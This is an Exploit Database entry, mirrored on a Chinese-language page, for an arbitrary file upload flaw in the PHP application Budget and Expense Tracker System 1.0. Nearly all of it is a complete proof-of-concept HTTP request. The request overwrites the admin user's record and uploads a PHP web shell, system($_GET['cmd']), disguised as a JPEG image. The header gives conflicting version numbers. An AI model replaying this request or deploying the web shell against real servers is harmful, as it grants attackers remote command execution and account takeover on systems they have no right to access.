Budget and Expense Tracker System 1.0 – Arbitrary File Upload

• Exploit Database
• 18 阅读

• 作者： ()t/\\/\\1
  日期： 2021-09-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50326/

• # Exploit Title: Budget and Expense Tracker System 1.0 - Arbitrary File Upload 
  # Exploit Author: ()t/\/\1
  # Date: 23/09/2021
  # Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html
  # Tested on: Linux
  # Version: 2.0
  
  # Exploit Description:
  The application is prone to an arbitrary file-upload because it fails to adequately sanitize user-supplied input. An attacker can exploit these issues to upload arbitrary files in the context of the web server process and execute commands.
  
  
  # PoC request 
  
  POST /expense_budget/classes/Users.php?f=save HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
  Accept: */*
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: http://localhost/expense_budget/admin/?page=user
  X-Requested-With: XMLHttpRequest
  Content-Type: multipart/form-data; boundary=---------------------------1399170066243244238234165712
  Content-Length: 824
  Connection: close
  Cookie: PHPSESSID=a36f66fa4a5751d4a15db458d573139c
  
  -----------------------------1399170066243244238234165712
  Content-Disposition: form-data; name="id"
  
  1
  -----------------------------1399170066243244238234165712
  Content-Disposition: form-data; name="firstname"
  
  A
  -----------------------------1399170066243244238234165712
  Content-Disposition: form-data; name="lastname"
  
  a
  -----------------------------1399170066243244238234165712
  Content-Disposition: form-data; name="username"
  
  admin
  -----------------------------1399170066243244238234165712
  Content-Disposition: form-data; name="password"
  
  
  -----------------------------1399170066243244238234165712
  Content-Disposition: form-data; name="img"; filename="na3na3.php"
  Content-Type: image/jpeg
  
  <?php echo "<pre>";system($_GET['cmd']); ?>
  -----------------------------1399170066243244238234165712--